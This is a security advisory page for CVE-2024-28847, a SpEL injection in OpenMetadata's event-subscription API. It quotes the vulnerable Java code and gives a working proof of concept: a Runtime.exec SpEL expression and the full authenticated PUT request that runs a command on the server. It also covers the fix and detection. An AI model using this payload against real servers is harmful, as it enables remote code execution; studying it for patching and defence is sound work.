CVE-2024-28847 — openmetadata-service
HIGHCVE-2024-28847 is a high-severity (CVSS 8.8) Code Injection vulnerability in org.open-metadata:openmetadata-service. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for org.open-metadata:openmetadata-service — see the affected versions and patch details below.
SpEL Injection in `PUT /api/v1/events/subscriptions` in OpenMetadata
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-28847.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
org.open-metadata:openmetadata-serviceReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
SpEL Injection in PUT /api/v1/events/subscriptions (GHSL-2023-251)
Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.
Similarly to the GHSL-2023-250 issue, AlertUtil::validateExpression is also called from EventSubscriptionRepository.prepare(), which can lead to Remote Code Execution.
@Override
public void prepare(EventSubscription entity, boolean update) {
validateFilterRules(entity);
}
private void validateFilterRules(EventSubscription entity) {
// Resolve JSON blobs into Rule object and perform schema based validation
if (entity.getFilteringRules() != null) {
List<EventFilterRule> rules = entity.getFilteringRules().getRules();
// Validate all the expressions in the rule
for (EventFilterRule rule : rules) {
AlertUtil.validateExpression(rule.getCondition(), Boolean.class);
}
rules.sort(Comparator.comparing(EventFilterRule::getName));
}
}
prepare() is called from EntityRepository.prepareInternal() which, in turn, gets called from the EntityResource.createOrUpdate():
public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
repository.prepareInternal(entity, true);
// If entity does not exist, this is a create operation, else update operation
ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
MetadataOperation operation = createOrUpdateOperation(resourceContext);
OperationContext operationContext = new OperationContext(entityType, operation);
if (operation == CREATE) {
CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
authorizer.authorize(securityContext, operationContext, createResourceContext);
entity = addHref(uriInfo, repository.create(uriInfo, entity));
return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
}
authorizer.authorize(securityContext, operationContext, resourceContext);
PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
addHref(uriInfo, response.getEntity());
return response.toResponse();
}
Note that, even though there is an authorization check (authorizer.authorize()), it gets called after prepareInternal() gets called and, therefore, after the SpEL expression has been evaluated.
In order to reach this method, an attacker can send a PUT request to /api/v1/events/subscriptions which gets handled by EventSubscriptionResource.createOrUpdateEventSubscription():
@PUT
@Operation(
operationId = "createOrUpdateEventSubscription",
summary = "Updated an existing or create a new Event Subscription",
description = "Updated an existing or create a new Event Subscription",
responses = {
@ApiResponse(
responseCode = "200",
description = "create Event Subscription",
content =
@Content(
mediaType = "application/json",
schema = @Schema(implementation = CreateEventSubscription.class))),
@ApiResponse(responseCode = "400", description = "Bad request")
})
public Response createOrUpdateEventSubscription(
@Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreateEventSubscription create) {
// Only one Creation is allowed for Data Insight
if (create.getAlertType() == CreateEventSubscription.AlertType.DATA_INSIGHT_REPORT) {
try {
repository.getByName(null, create.getName(), repository.getFields("id"));
} catch (EntityNotFoundException ex) {
if (ReportsHandler.getInstance() != null && ReportsHandler.getInstance().getReportMap().size() > 0) {
throw new BadRequestException("Data Insight Report Alert already exists.");
}
}
}
EventSubscription eventSub = getEventSubscription(create, securityContext.getUserPrincipal().getName());
Response response = createOrUpdate(uriInfo, securityContext, eventSub);
repository.updateEventSubscription((EventSubscription) response.getEntity());
return response;
}
This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.
Proof of concept
- Prepare the payload
- Encode the command to be run (eg:
touch /tmp/pwned) using Base64 (eg:dG91Y2ggL3RtcC9wd25lZA==) - Create the SpEL expression to run the system command:
T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
- Encode the command to be run (eg:
- Send the payload using a valid JWT token:
PUT /api/v1/events/subscriptions HTTP/1.1
Host: localhost:8585
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 353
{
"name":"ActivityFeedAlert","displayName":"Activity Feed Alerts","alertType":"ChangeEvent","filteringRules":{"rules":[
{"name":"pwn","effect":"exclude","condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]},"subscriptionType":"ActivityFeed","enabled":true
}
- Verify that a file called
/tmp/pwnedwas created in the OpenMetadata server
Impact
This issue may lead to Remote Code Execution.
Remediation
Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.open-metadata:openmetadata-service | all versions | 1.2.4org.open-metadata:openmetadata-service:1.2.4 |
Affected Products
openmetadataopen-metadataResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.open-metadata:openmetadata-service, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.open-metadata:openmetadata-service to 1.2.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-28847 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is CVE-2024-28847 in your dependencies?
Find it across Maven, including transitive dependencies.